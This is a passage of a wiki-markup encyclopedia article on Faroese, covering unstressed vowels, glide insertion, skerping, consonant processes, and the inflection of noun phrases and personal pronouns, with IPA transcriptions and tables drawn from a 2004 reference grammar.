|bgcolor=&quot;#ffffff&quot;| [{{IPA|ˈb̥ɪg̊d̥'''ø'''n}}]
|bgcolor=&quot;#ffffff&quot;| [{{IPA|ˈb̥ɪg̊d̥ɪn}}]
|- 
|bgcolor=&quot;#ffffff&quot;| ''bygdum'' (the towns ''dat. pl.'')
|bgcolor=&quot;#ffffff&quot;| [{{IPA|ˈb̥ɪg̊d̥ʊn}}]
|bgcolor=&quot;#ffffff&quot;| [{{IPA|ˈb̥ɪg̊d̥'''ə'''n}}]
|bgcolor=&quot;#ffffff&quot;| [{{IPA|ˈb̥ɪg̊d̥'''ø'''n}}]
|bgcolor=&quot;#ffffff&quot;| [{{IPA|ˈb̥ɪg̊dʊn}}]
|-
|colspan=6|Source: ''Faroese : An Overview and Reference Grammar'', 2004 (page 350)
|}
While in other languages a short /e/ is common for inflectional endings, Faroese uses /a, i, u/. This means, that there are no unstressed short vowels except of these three. Even if a short unstresed /e/ is seen in writing, it will be pronounced like /i/: ''áðrenn'' {{IPA|[ˈɔaːɹɪnː]}} (before). Very typical are endings like ''-ur'', ''-ir'', ''-ar''. The dative is often indicated by ''-um'' which is always pronounced {{IPA|[ʊn]}}.
*{{IPA|[a]}} - ''bát'''ar''''' {{IPA|[ˈbɔaːtaɹ]}} (boats), ''kall'''ar''''' {{IPA|[ˈkadlaɹ]}} ((you) call, (he) calls)
*{{IPA|[ɪ]}} - ''gest'''ir''''' {{IPA|[ˈʤɛstɪɹ]}} (guests), ''dug'''ir''''' {{IPA|[ˈduːjɪɹ]}} ((you, he) can)
*{{IPA|[ʊ]}} - ''bát'''ur''''' {{IPA|[ˈbɔaːtʊɹ]}} (boat), ''gent'''ur''''' {{IPA|[ʤɛntʊɹ]}} (girls), ''renn'''ur''''' {{IPA|[ˈɹenːʊɹ]}} ((you) run, (he) runs).

In some dialects, unstressed {{IPA|/ʊ/}} is realized as {{IPA|[ø]}} or is reduced further to {{IPA|[ə]}}. {{IPA|/ɪ/}} goes under a similar reduction pattern so unstressed {{IPA|/ʊ/}} and {{IPA|/ɪ/}} can rhyme.  This can cause spelling mistakes related to these two vowels.  The table to the left displays the different realizations in different dialects.

&lt;br clear=all&gt;

===Glide Insertion===
Faroese avoids having a [[Hiatus (linguistics)|hiatus]] between two vowels by inserting a [[Semivowel|glide]]. Orthographically, this is shown in three ways:
# vowel + ð + vowel
# vowel + g + vowel
# vowel + vowel

Typically, the first vowel is long and in words with two syllables always stressed, while the second vowel is short and unstressed. In Faroese, short ''and'' unstressed vowels can only be {{IPA|/a/, /i/, /u/}}.

====Ð and G as glides====
{| align=right id=toc style=&quot;margin-left: 15px;&quot; width=450 cellpadding=2
|- style=&quot;background:#ccccff&quot;
|colspan=&quot;6&quot; align=&quot;center&quot; bgcolor=&quot;#ccccff&quot;| Glide insertion
|- 
|bgcolor=&quot;#eeeeee&quot; colspan=2 rowspan= 2 align=center width=150| '''First vowel'''
|bgcolor=&quot;#eeeeee&quot; colspan=3 align=center width=150| '''Second vowel'''
|bgcolor=&quot;#eeeeee&quot; rowspan=3 align=center width=150| '''Examples'''
|- 
|bgcolor=&quot;#eeeeee&quot; bgcolor=&quot;#ffffff&quot; width=50| i [{{IPA|ɪ}}]
|bgcolor=&quot;#eeeeee&quot; bgcolor=&quot;#ffffff&quot; width=50| u [{{IPA|ʊ}}]
|bgcolor=&quot;#eeeeee&quot; bgcolor=&quot;#ffffff&quot; width=50| a [{{IPA|a}}]
|- 
|bgcolor=&quot;#eeeeee&quot; | Grapheme
|bgcolor=&quot;#eeeeee&quot; | Phoneme
|bgcolor=&quot;#eeeeee&quot; colspan=3 align=center | '''Glide'''
|- 
|width=33% colspan=&quot;6&quot; bgcolor=&quot;#dddddd&quot; align=center| I-surrounding 1 + 2
|- 
|bgcolor=&quot;#ffffff&quot;| i, y
|bgcolor=&quot;#ffffff&quot;| [{{IPA|iː}}]
|bgcolor=&quot;#ffffff&quot;| [{{IPA|j}}]
|bgcolor=&quot;#ffffff&quot;| [{{IPA|j}}]
|bgcolor=&quot;#ffffff&quot;| [{{IPA|j}}]
|bgcolor=&quot;#ffffff&quot;| ''sigið, siður, siga''
|- 
|bgcolor=&quot;#ffffff&quot;| í, ý
|bgcolor=&quot;#ffffff&quot;| [{{IPA|ʊiː}}]
|bgcolor=&quot;#ffffff&quot;| [{{IPA|j}}]
|bgcolor=&quot;#ffffff&quot;| [{{IPA|j}}] 
|bgcolor=&quot;#ffffff&quot;| [{{IPA|j}}]
|bgcolor=&quot;#ffffff&quot;| ''mígi, mígur, míga''
|- 
|bgcolor=&quot;#ffffff&quot;| ey
|bgcolor=&quot;#ffffff&quot;| [{{IPA|ɛiː}}]
|bgcolor=&quot;#ffffff&quot;| [{{IPA|j}}]
|bgcolor=&quot;#ffffff&quot;| [{{IPA|j}}]
|bgcolor=&quot;#ffffff&quot;| [{{IPA|j}}]
|bgcolor=&quot;#ffffff&quot;| ''reyði, reyður, reyða''
|- 
|bgcolor=&quot;#ffffff&quot;| ei
|bgcolor=&quot;#ffffff&quot;| [{{IPA|aiː}}]
|bgcolor=&quot;#ffffff&quot;| [{{IPA|j}}]
|bgcolor=&quot;#ffffff&quot;| [{{IPA|j}}]
|bgcolor=&quot;#ffffff&quot;| [{{IPA|j}}]
|bgcolor=&quot;#ffffff&quot;| ''reiði, reiður, reiða''
|- 
|bgcolor=&quot;#ffffff&quot;| oy
|bgcolor=&quot;#ffffff&quot;| [{{IPA|ɔiː}}]
|bgcolor=&quot;#ffffff&quot;| [{{IPA|j}}]
|bgcolor=&quot;#ffffff&quot;| [{{IPA|j}}]
|bgcolor=&quot;#ffffff&quot;| [{{IPA|j}}]
|bgcolor=&quot;#ffffff&quot;| ''noyði, royður, royða''
|- 
|width=33% colspan=&quot;6&quot; bgcolor=&quot;#dddddd&quot; align=center| U-surrounding 2
|- 
|bgcolor=&quot;#ffffff&quot;| u
|bgcolor=&quot;#ffffff&quot;| [{{IPA|uː}}]
|bgcolor=&quot;#ffffff&quot;| [{{IPA|w}}]
|bgcolor=&quot;#ffffff&quot;| [{{IPA|w}}]
|bgcolor=&quot;#ffffff&quot;| [{{IPA|w}}]
|bgcolor=&quot;#ffffff&quot;| ''suði, mugu, suða''
|- 
|bgcolor=&quot;#ffffff&quot;| ó
|bgcolor=&quot;#ffffff&quot;| [{{IPA|ɔuː}}]
|bgcolor=&quot;#ffffff&quot;| [{{IPA|w}}]
|bgcolor=&quot;#ffffff&quot;| [{{IPA|w}}]
|bgcolor=&quot;#ffffff&quot;| [{{IPA|w}}]
|bgcolor=&quot;#ffffff&quot;| ''róði, róðu, Nóa''
|- 
|bgcolor=&quot;#ffffff&quot;| ú
|bgcolor=&quot;#ffffff&quot;| [{{IPA|ʉuː}}]
|bgcolor=&quot;#ffffff&quot;| [{{IPA|w}}]
|bgcolor=&quot;#ffffff&quot;| [{{IPA|w}}]
|bgcolor=&quot;#ffffff&quot;| [{{IPA|w}}]
|bgcolor=&quot;#ffffff&quot;| ''búði, búðu, túa''
|- 
|width=33% colspan=&quot;6&quot; bgcolor=&quot;#dddddd&quot; align=center| I-surrounding 2, U-surrounding 2, A-surrounding 1 (''regular'')
|- 
|bgcolor=&quot;#ffffff&quot;| a, æ
|bgcolor=&quot;#ffffff&quot;| [{{IPA|ɛaː}}]
|bgcolor=&quot;#ffffff&quot;| [{{IPA|j}}]
|bgcolor=&quot;#ffffff&quot;| [{{IPA|v}}] 
|bgcolor=&quot;#ffffff&quot;| -
|bgcolor=&quot;#ffffff&quot;| ''ræði, æðu, glaða''
|- 
|bgcolor=&quot;#ffffff&quot;| á
|bgcolor=&quot;#ffffff&quot;| [{{IPA|ɔaː}}]
|bgcolor=&quot;#ffffff&quot;| [{{IPA|j}}]
|bgcolor=&quot;#ffffff&quot;| [{{IPA|v}}] 
|bgcolor=&quot;#ffffff&quot;| -
|bgcolor=&quot;#ffffff&quot;| ''ráði, fáur, ráða''
|- 
|bgcolor=&quot;#ffffff&quot;| e
|bgcolor=&quot;#ffffff&quot;| [{{IPA|eː}}]
|bgcolor=&quot;#ffffff&quot;| [{{IPA|j}}]
|bgcolor=&quot;#ffffff&quot;| [{{IPA|v}}]
|bgcolor=&quot;#ffffff&quot;| -
|bgcolor=&quot;#ffffff&quot;| ''gleði, legu, gleða''
|- 
|bgcolor=&quot;#ffffff&quot;| o
|bgcolor=&quot;#ffffff&quot;| [{{IPA|oː}}]
|bgcolor=&quot;#ffffff&quot;| [{{IPA|j}}]
|bgcolor=&quot;#ffffff&quot;| [{{IPA|v}}]
|bgcolor=&quot;#ffffff&quot;| -
|bgcolor=&quot;#ffffff&quot;| ''togið, smogu, roða''
|- 
|bgcolor=&quot;#ffffff&quot;| ø
|bgcolor=&quot;#ffffff&quot;| [{{IPA|øː}}]
|bgcolor=&quot;#ffffff&quot;| [{{IPA|j}}]
|bgcolor=&quot;#ffffff&quot;| [{{IPA|v}}] 
|bgcolor=&quot;#ffffff&quot;| -
|bgcolor=&quot;#ffffff&quot;| ''løgin, røðu, høgan''
|-
|colspan=6|Source: ''Faroese : An Overview and Reference Grammar'', 2004 (page 38)
|}

&lt;Ð&gt; and &lt;G&gt; are used in Faroese orthography to indicate one of a number of glide rather than any one phoneme.  This can be:
#[{{IPA|j}}]
#*&quot;I-surrounding, type 1&quot; - after /i, y, í, ý, ei, ey, oy/: ''bíða'' [{{IPA|ˈbʊija}}] (to wait), ''deyður'' [{{IPA|ˈdɛijʊɹ}}] (dead), ''seyður'' [{{IPA|ˈsɛijʊɹ}}] (sheep)
#*&quot;I-surrounding, type 2&quot; - between any vowel (except &quot;u-vowels&quot; /ó, u, ú/) and /i/: ''kvæði'' [{{IPA|ˈkvɛajɪ}}] (ballad), ''øði'' [{{IPA|ˈøːjɪ}}] (rage).
#[{{IPA|w}}] &quot;U-surrounding, type 1&quot; - after /ó, u, ú/: ''[[Odin|Óðin]]'' [{{IPA|ˈɔuwɪn}}] (Odin), ''góðan morgun!'' [{{IPA|ˌgɔuwan ˈmɔɹgʊn}}] (good morning!), ''suður'' [{{IPA|ˈsuːwʊɹ}}] (south), ''slóða'' [{{IPA|ˈslɔuwa}}] (to make a trace).
#[{{IPA|v}}]
#*&quot;U-surrounding, type 2&quot; - between /a, á, e, æ, ø/ and /u/: ''áður'' [{{IPA|ˈɔavʊɹ}}] (before), ''leður'' [{{IPA|ˈleːvʊɹ}}] (leather), ''í klæðum'' [{{IPA|ɪˈklɛavʊn}}] (in clothes), ''í bløðum'' [{{IPA|ɪˈbløːvʊn}}] (in newspapers).
#*&quot;A-surrounding, type 2&quot;
#**These ar exeptions (''there is also a regular pronunciation''): ''æða'' [{{IPA|ˈɛava}}] (eider-duck), ''røða'' [{{IPA|ˈɹøːva}}] (speech).
#**The [[past participle]]s have always [{{IPA|v}}]: ''elskaðar'' [{{IPA|ˈɛlskavaɹ}}] (beloved, ''nom., acc. fem. pl.'')
#''Silent''
#*&quot;A-surrounding, type 1&quot; - between /a, á, e, o/ and /a/ and in some words between &lt;æ, ø&gt; and &lt;a&gt;: ''ráða'' [{{IPA|ˈɹɔːa}}] (to advise), ''gleða'' [{{IPA|ˈg̊leːa}}] (to gladden, please), ''boða'' [{{IPA|ˈboːa}}] (to forbode), ''kvøða'' [{{IPA|ˈkvøːa}}] (to chant), ''røða'' [{{IPA|ˈɹøːa}}] (to make a speech)

===Skerping===
{| align=right id=toc style=&quot;margin-left: 15px;&quot; width=350 cellpadding=2 style=&quot;margin-right:10px;&quot;
|-
|colspan=&quot;3&quot; align=&quot;center&quot; bgcolor=&quot;#ccccff&quot;| Skerping
|- style=&quot;background:#ccccff&quot;
|bgcolor=&quot;#eeeeee&quot;| Written
|bgcolor=&quot;#eeeeee&quot;| Pronunciation
|bgcolor=&quot;#eeeeee&quot;| instead of
|-
| -ógv-
|[{{IPA|ɛgv}}]
|*[{{IPA|ɔugv}}]
|-
| -úgv-
|[{{IPA|ɪgv}}]
|*[{{IPA|ʉugv}}]
|-
| -eyggj-
|[{{IPA|ɛʤː}}]
|*[{{IPA|ɛiʤː}}]
|-
| -íggj-, -ýggj-
|[{{IPA|ʊʤː}}]
|*[{{IPA|ʊiʤː}}] 
|-
| -eiggj-
|[{{IPA|aʤː}}]
|*[{{IPA|aiʤː}}]
|-
| -oyggj-
|[{{IPA|ɔʤː}}]
|*[{{IPA|ɔiʤː}}]
|}
The so-called &quot;skerping&quot; (Thráinsson et al. use the term &quot;Faroese Verschärfung&quot; - in Faroese, ''skerping'' {{IPA|/ʃɛɹpɪŋg/}} means &quot;sharpening&quot;) is a typical phenomenon of fronting back vowels before {{IPA|[gv]}} and monophthongizing certain diphthongs before {{IPA|[ʤː]}}. Skerping is not indicated orthographically.  These consonants occur often after /ó, ú/ (ógv, úgv) and /ey, í, ý, ei, oy/ when no other consonant is following.
*[{{IPA|ɛgv}}]: ''Jógvan'' [{{IPA|ˈjɛgvan}}] (a form of the name John), ''[[Gjógv]]'' [{{IPA|ʤɛgv}}] (cleft)
*[{{IPA|ɪgv}}]: ''kúgv'' [{{IPA|kɪgv}}] (cow), ''trúgva'' [{{IPA|ˈtɹɪgva}}] (believe), but: ''trúleysur'' [{{IPA|ˈtɹʉuːlɛisʊɹ}}] (faithless)
*[{{IPA|ɛʤː}}]: ''heyggjur'' [{{IPA|ˈhɛʤːʊɹ}}] (high, burial mound), but ''heygnum'' [{{IPA|ˈhɛiːnʊn}}] (''dat. sg. with suffix article'')
*[{{IPA|ʊʤː}}]: ''nýggjur'' [{{IPA|ˈnʊʤːʊɹ}}] (new ''m.''), but ''nýtt'' [{{IPA|nʊiʰtː}}] (''n.'')
*[{{IPA|aʤː}}]: ''beiggi'' [{{IPA|ˈbaʤːɪ}}] (brother)
*[{{IPA|ɔʤː}}]: ''oyggj'' [{{IPA|ɔʤː}}] (island), but ''oynna'' [{{IPA|ˈɔinːa}}] (''acc. sg. with suffix article'')

===Consonants===
{| class=&quot;wikitable&quot;
! || Labial || Apical || Postalveolar || Palatal || Velar || Glottal
|-
!Nasal
| {{IPA|m}} || {{IPA|n}} |||| || {{IPA|ŋ}} ||
|-
!Plosive
|{{IPA|p b}}||{{IPA|t d}}|| ||||{{IPA|k g}}||
|- 
!Affricate
| || || {{IPA|ʧ ʤ}} || || || 
|- 
!Fricative
| {{IPA|f v}} || {{IPA|s}} ||{{IPA|ʃ}}  || || || {{IPA|h}}
|-
!Approximant
| ||  || {{IPA|ɹ l}} || {{IPA|j}} || ||
|- 
|}

There are several [[phonology|phonological]] processes involved in Faroese, including:
*Voiced stops are devoiced word-finally and before voiceless consonants
*Liquids are devoiced before voiceless consonants
*Nasals generally assume the place of articulation and laryngeal settings of following consonants.
*Velar stops palatalize to postalveolar affricates before {{IPA|/j/ /e/ /ɪ/ /y/ /ɛi/}} and {{IPA|/ɛi/}}
*/v/ becomes /f/ before voiceless consonants
*/s/ becomes {{IPA|/ʃ/}} after {{IPA|/ɛi, ai, ɔi/}} and before /j/ and may assimilate the retroflexion of a preceding /r/ to become {{IPA|[ʂ]}}.

====Omissions in Consonant clusters====
Faroese tends to omit the first or second consonant in clusters of different consonants:
*''fjalls'' [{{IPA|fjals}}] (mountain's ''gen.'') instead of *[{{IPA|fjadls}}] from [{{IPA|fjadl}}] (''nom.''). Other examples for genitives are: ''barns'' [{{IPA|ˈbans}}] (children's), ''vatns'' [{{IPA|van̥s}}] (lake's, water's).
*''hjálpti'' [{{IPA|jɔl̥tɪ}}] (helped) ''past sg.'' instead of *[{{IPA|ˈjɔlpta}}] from ''hjálpa'' [{{IPA|ˈjɔlpa}}]. Other examples for past forms are: ''sigldi'' [{{IPA|ˈsɪldɪ}}] (sailed), ''yrkti'' [{{IPA|ˈɪɹ̥tɪ}}] (wrote poetry).
*[[homophone]] are ''fylgdi'' (followed) and ''fygldi'' (catched birds with net): [{{IPA|ˈfɪldɪ}}].
*'''skt''' will be:
*#[{{IPA|st}}] in words of more than one syllable: ''føroyskt'' [{{IPA|ˈføːɹɪst}}] (Faroese ''n. sg.'') ''russiskt'' [{{IPA|ˈɹʊsːɪst}}] (Russian ''n. sg.''), ''íslendskt'' [{{IPA|ˈʊʃlɛŋ̊st}}] (Icelandic ''n. sg.'').
*#[{{IPA|kst}}] in monosyllables: ''enskt'' [{{IPA|ɛŋ̊kst}}] (English ''n. sg.''), ''danskt'' [{{IPA|daŋ̊kst}}] (Danish ''n. sg.''), ''franskt'' [{{IPA|fɹaŋ̊kst}}] (French ''n. sg.''), ''spanskt'' [{{IPA|spaŋ̊kst}}] (Spanish ''n. sg.''), ''svenskt'' [{{IPA|svɛŋ̊kst}}] (Swedish ''n. sg.''), ''týskt'' [{{IPA|tʊkst}}] (German ''n. sg.'').
*#*However [{{IPA|ʂt}}] in: ''írskt'' [{{IPA|ʊʂt}}] (Irish ''n. sg.''), ''norskt'' [{{IPA|nɔʂt}}] (Norwegian ''n. sg.)



==Grammar==
Not surprisingly, Faroese grammar is quite similar to the Icelandic and Old Norse. Below in the literature section, you'll find a comprehensive grammar to download (chapter 3 of the standardwork ''Faroese'' by Thráinsson et al. 2004).

===Nominal inflection===
Below is a representation of three [[grammatical gender]]s, two numbers and four cases in the nominal [[inflection]].  This is just an overview to give a general idea of how the grammar works. Faroese actually has even more [[declension]]s.

Read: 
*''hvør, hvat?'' [[interrogative pronoun]] &quot;who, what?&quot; 
*''ein'' [[indefinite article]] &quot;a&quot;
*''stórur'' [[adjective]] &quot;big&quot; 
*''bátur'' [[noun]] &quot;boat&quot;

*ein stórur bátur - a big boat (''m.'')
*ein vøkur genta - a beautiful girl (''f.'')
*eitt gott barn - a good child (''n.'')

In the plural you will see that even the [[numeral]] ''tvey'' (2) is inflected.

{| id=toc style=&quot;margin-left: 15px;&quot; width=750 cellpadding=2
|- style=&quot;background:#ccccff&quot;
| colspan=7 align=center  bgcolor=&quot;#ccccff&quot;| Indefinite phrases
|-
|bgcolor=&quot;#eeeeee&quot;| '''Singular'''
|bgcolor=&quot;#dedeee&quot;| ?
|bgcolor=&quot;#dedeee&quot;| Masculine
|bgcolor=&quot;#eedede&quot;| ?
|bgcolor=&quot;#eedede&quot;| Feminine
|bgcolor=&quot;#deeede&quot;| ?
|bgcolor=&quot;#deeede&quot;| Neuter
|-
|Nominative
|bgcolor=&quot;#efefff&quot;| hvør?
|bgcolor=&quot;#efefff&quot;| ein stór'''ur''' bát'''ur'''
|bgcolor=&quot;#ffefef&quot;| hvør?
|bgcolor=&quot;#ffefef&quot;| ein vøkur gent'''a'''
|bgcolor=&quot;#efffef&quot;| hvat?
|bgcolor=&quot;#efffef&quot;| eitt gott barn
|-
|Accusative
|bgcolor=&quot;#efefff&quot;| hvønn?
|bgcolor=&quot;#efefff&quot;| ein stór'''an''' bát
|bgcolor=&quot;#ffefef&quot;| hvørja?
|bgcolor=&quot;#ffefef&quot;| eina vakr'''a''' gent'''u'''
|bgcolor=&quot;#efffef&quot;| hvat?
|bgcolor=&quot;#efffef&quot;| eitt gott barn
|-
|Dative
|bgcolor=&quot;#efefff&quot;| hvørjum?
|bgcolor=&quot;#efefff&quot;| einum stór'''um''' bát'''i'''
|bgcolor=&quot;#ffefef&quot;| hvørj(ar)i?
|bgcolor=&quot;#ffefef&quot;| einari vak'''ari''' gent'''u'''
|bgcolor=&quot;#efffef&quot;| hvørjum?
|bgcolor=&quot;#efffef&quot;| einum góð'''um''' barn'''i'''
|-
|Genitive
|bgcolor=&quot;#efefff&quot;| hvørs?
|bgcolor=&quot;#efefff&quot;| eins stór'''s''' bát'''s'''
|bgcolor=&quot;#ffefef&quot;| hvørjar?
|bgcolor=&quot;#ffefef&quot;| einar vakr'''ar''' gent'''u'''
|bgcolor=&quot;#efffef&quot;| hvørs?
|bgcolor=&quot;#efffef&quot;| eins góð'''s''' barn'''s'''
|- 
| colspan=&quot;7&quot; bgcolor=&quot;#dddddd&quot;| 
|-
|bgcolor=&quot;#eeeeee&quot;| '''Plural'''
|bgcolor=&quot;#dedeee&quot;| ?
|bgcolor=&quot;#dedeee&quot;| Masculine
|bgcolor=&quot;#eedede&quot;| ?
|bgcolor=&quot;#eedede&quot;| Feminine
|bgcolor=&quot;#deeede&quot;| ?
|bgcolor=&quot;#deeede&quot;| Neuter
|-
|Nominative
|bgcolor=&quot;#efefff&quot;| hvørjir?
|bgcolor=&quot;#efefff&quot;| tveir stór'''ir''' bát'''ar'''
|bgcolor=&quot;#ffefef&quot;| hvørjar?
|bgcolor=&quot;#ffefef&quot;| tvær vakr'''ar''' gent'''ur'''
|bgcolor=&quot;#efffef&quot;| hvørji?
|bgcolor=&quot;#efffef&quot;| tvey góð børn
|-
|Accusative
|bgcolor=&quot;#efefff&quot;| hvørjar?
|bgcolor=&quot;#efefff&quot;| tveir stór'''ar''' bát'''ar'''
|bgcolor=&quot;#ffefef&quot;| hvørjar?
|bgcolor=&quot;#ffefef&quot;| tvær vakr'''ar''' gent'''ur'''
|bgcolor=&quot;#efffef&quot;| hvørji?
|bgcolor=&quot;#efffef&quot;| tvey góð børn
|-
|Dative
|bgcolor=&quot;#efefff&quot;| hvørjum?
|bgcolor=&quot;#efefff&quot;| tveimum stór'''um''' bát'''um'''
|bgcolor=&quot;#ffefef&quot;| hvørjum?
|bgcolor=&quot;#ffefef&quot;| tveimum vøkr'''um''' gent'''um'''
|bgcolor=&quot;#efffef&quot;| hvørjum?
|bgcolor=&quot;#efffef&quot;| tveimum góð'''um''' børn'''um'''
|-
|Genitive
|bgcolor=&quot;#efefff&quot;| hvørja?
|bgcolor=&quot;#efefff&quot;| tveggja stór'''a''' bát'''a'''
|bgcolor=&quot;#ffefef&quot;| hvørja?
|bgcolor=&quot;#ffefef&quot;| tveggja vakr'''a''' gent'''a'''
|bgcolor=&quot;#efffef&quot;| hvørja?
|bgcolor=&quot;#efffef&quot;| tveggja góð'''a''' barn'''a'''
|}

If the noun is definite, the verb inflects ''weak'', and the noun gets a suffix article as in any Scandinavian language (except for Old Norse).

The interrogative pronoun is the same as above. In the plural, the plural form of the definite article is used.

Read: 
*tann stóru báturin - the big boat-the
*tann vakra gentan - the beautiful girl-the
*tað góða barn - the good child-the

{| id=toc style=&quot;margin-left: 15px;&quot; width=600 cellpadding=2
|- style=&quot;background:#ccccff&quot;
| colspan=4 align=center  bgcolor=&quot;#ccccff&quot; | Definite phrases
|-
|bgcolor=&quot;#eeeeee&quot;| '''Singular'''
|bgcolor=&quot;#dedeee&quot;| Masculine
|bgcolor=&quot;#eedede&quot;| Feminine
|bgcolor=&quot;#deeede&quot;| Neuter
|-
|Nominative
|bgcolor=&quot;#efefff&quot;| tann stór'''i''' bátur'''in'''
|bgcolor=&quot;#ffefef&quot;| tann vakr'''a''' gent'''an'''
|bgcolor=&quot;#efffef&quot;| tað góð'''a''' barn'''ið'''
|-
|Accusative
|bgcolor=&quot;#efefff&quot;| tann stór'''a''' bát'''in'''
|bgcolor=&quot;#ffefef&quot;| ta vøkr'''u''' gentu'''na'''
|bgcolor=&quot;#efffef&quot;| tað góð'''a''' barn'''ið'''
|-
|Dative
|bgcolor=&quot;#efefff&quot;| tí stór'''a''' báti'''num'''
|bgcolor=&quot;#ffefef&quot;| tí vøkr'''u''' gentu'''ni'''
|bgcolor=&quot;#efffef&quot;| tí góð'''a''' barni'''num'''
|-
|Genitive
|bgcolor=&quot;#efefff&quot;| tess stór'''a''' báts'''ins'''
|bgcolor=&quot;#ffefef&quot;| teirrar vøkr'''u''' gentu'''nnar'''
|bgcolor=&quot;#efffef&quot;| tess góð'''a''' barns'''ins'''
|- 
|colspan=&quot;4&quot; bgcolor=&quot;#dddddd&quot;| 
|-
|bgcolor=&quot;#eeeeee&quot;| '''Plural'''
|bgcolor=&quot;#dedeee&quot;| Masculine
|bgcolor=&quot;#eedede&quot;| Feminine
|bgcolor=&quot;#deeede&quot;| Neuter
|-
|Nominative
|bgcolor=&quot;#efefff&quot;| teir stór'''u''' bátar'''nir'''
|bgcolor=&quot;#ffefef&quot;| tær vøkr'''u''' gentur'''nar'''
|bgcolor=&quot;#efffef&quot;| tey góð'''u''' børn'''ini'''
|-
|Accusative
|bgcolor=&quot;#efefff&quot;| teir stór'''u''' bátar'''nar'''
|bgcolor=&quot;#ffefef&quot;| tær vøkr'''u''' gentur'''nar'''
|bgcolor=&quot;#efffef&quot;| tey góð'''u''' børn'''ini'''
|-
|Dative
|bgcolor=&quot;#efefff&quot;| teimum stór'''u''' bátu'''num'''
|bgcolor=&quot;#ffefef&quot;| teimum vøkr'''u''' gentu'''num'''
|bgcolor=&quot;#efffef&quot;| teimum góð'''u''' børnu'''num'''
|-
|Genitive
|bgcolor=&quot;#efefff&quot;| teirra stór'''u''' báta'''nna'''
|bgcolor=&quot;#ffefef&quot;| teirra vøkr'''u''' gentu'''nna'''
|bgcolor=&quot;#efffef&quot;| teirra góð'''u''' barna'''nna'''
|}

====Personal Pronouns====
The [[personal pronoun]]s of Faroese are:

{| align=right id=toc style=&quot;margin-left: 15px;&quot; width=410 cellpadding=2
|- style=&quot;background:#ccccff&quot;
|colspan=&quot;6&quot; align=&quot;center&quot; bgcolor=&quot;#ccccff&quot;|Personal pronouns
|- 
|bgcolor=&quot;#eeeeee&quot;| '''Singular'''
|bgcolor=&quot;#eeeeee&quot;| 1.
|bgcolor=&quot;#eeeeee&quot;| 2. 
|bgcolor=&quot;#dedeee&quot;| 3. ''m''
|bgcolor=&quot;#eedede&quot;| 3. ''f''
|bgcolor=&quot;#deeede&quot;| 3. ''n''
|- 
| Nominative
|bgcolor=&quot;#ffffff&quot;| '''eg'''
|bgcolor=&quot;#ffffff&quot;| '''tú'''
|bgcolor=&quot;#efefff&quot; rowspan=&quot;2&quot;| '''hann'''
|bgcolor=&quot;#ffefef&quot;| '''hon'''
|bgcolor=&quot;#efffef&quot; rowspan=&quot;2&quot;| '''tað'''
|- 
| Accusative
|bgcolor=&quot;#ffffff&quot;| meg
|bgcolor=&quot;#ffffff&quot;| teg
|bgcolor=&quot;#ffefef&quot;| hana
|- 
| Dative
|bgcolor=&quot;#ffffff&quot;| mær
|bgcolor=&quot;#ffffff&quot;| tær
|bgcolor=&quot;#efefff&quot;| honum
|bgcolor=&quot;#ffefef&quot;| henni
|bgcolor=&quot;#efffef&quot;| tí
|- 
| Genitive
|bgcolor=&quot;#ffffff&quot;| mín
|bgcolor=&quot;#ffffff&quot;| tín
|bgcolor=&quot;#efefff&quot;| hansara
|bgcolor=&quot;#ffefef&quot;| hennara
|bgcolor=&quot;#efffef&quot;| tess
|- 
|width=33% colspan=&quot;6&quot; bgcolor=&quot;#dddddd&quot;| 
|- 
|bgcolor=&quot;#eeeeee&quot;| '''Plural'''
|bgcolor=&quot;#eeeeee&quot;| 1.
|bgcolor=&quot;#eeeeee&quot;| 2. 
|bgcolor=&quot;#dedeee&quot;| 3. ''m''
|bgcolor=&quot;#eedede&quot;| 3. ''f''
|bgcolor=&quot;#deeede&quot;| 3. ''n''
|- 
| Nominative
|bgcolor=&quot;#ffffff&quot;| '''vit'''
|bgcolor=&quot;#ffffff&quot;| '''tit'''
|bgcolor=&quot;#efefff&quot; rowspan=&quot;2&quot;| '''teir'''
|bgcolor=&quot;#ffefef&quot; rowspan=&quot;2&quot;| '''tær'''
|bgcolor=&quot;#efffef&quot; rowspan=&quot;2&quot;| '''tey'''
|- 
| Accusative
|bgcolor=&quot;#ffffff&quot; rowspan=&quot;2&quot;| okkum
|bgcolor=&quot;#ffffff&quot; rowspan=&quot;2&quot;| tykkum
|- 
| Dative
|bgcolor=&quot;#efefff&quot; colspan= &quot;3&quot; align=&quot;center&quot; | teimum
|- 
| Genitive 
|bgcolor=&quot;#ffffff&quot;| okkara
|bgcolor=&quot;#ffffff&quot;| tykkara
|bgcolor=&quot;#efefff&quot; colspan= &quot;3&quot; align=&quot;center&quot;| teirra
|}
'''Singular'''
*1st person: ''eg'' [{{IPA|eː}}] - I, ''meg'' [{{IPA|meː}}] - me (''acc.''), ''mær'' [{{IPA|mɛaɹ}}] - me (''dat.''), ''mín'' [{{IPA|mʊin}}] - my
*2nd person: ''tú'' [{{IPA|tʉu}}] - you, ''teg'' [{{IPA|teː}}] - you (''acc.''), ''tær'' [{{IPA|tɛɹ}}] - you (''dat.''), ''tín'' [{{IPA|tʊin}}] - your (''gen.'')
*3rd person masculine: ''hann'' [{{IPA|hanː}}] - he, him (''nom., acc.''), ''honum'' [{{IPA|ˈhoːnʊn}}] - him (''dat.''), ''hansara'' [{{IPA|ˈhansaɹa}}] - his (''gen.'')
*3rd person feminine: ''hon'' [{{IPA|hoːn}}] - she, ''hana'' [{{IPA|ˈhɛana}}] - her (''acc.''), ''henni'' [{{IPA|hɛnːɪ}}] - her (''dat.''), ''hennara'' [{{IPA|ˈhɛnːaɹa}}] - her (''gen.'')
*3rd person neuter: ''tað'' [{{IPA|tɛa}}] - it (''nom., acc.''), ''tí'' [{{IPA|tʊi}}] - it (''dat.''), ''tess'' [{{IPA|tɛsː}}] - its (''gen.'')
'''Plural'''
*1st person: ''vit'' [{{IPA|viːt}}] - we, ''okkum'' [{{IPA|ɔʰkːʊn}}] - us (''acc., dat.''), ''okkara'' [{{IPA|ˈɔʰkːaɹa}}] - our (''gen.'')
*2nd person: ''tit'' [{{IPA|tiːt}}] - you (''pl.''), ''tykkum'' [{{IPA|ˈtɪʰkːʊn}}] - you (''acc., dat. pl.'') ''tykkara'' [{{IPA|ˈtɪʰkːaɹa}}] - your (''gen. pl.'')
*3rd person masculine: ''teir'' [{{IPA|taiɹ}}] - they, them (''m. nom., acc.''), ''teimum'' [{{IPA|ˈtaimʊn}}] - them (''dat.''), ''teirra'' [{{IPA|ˈtaiɹːa}}] - their (''gen.'')
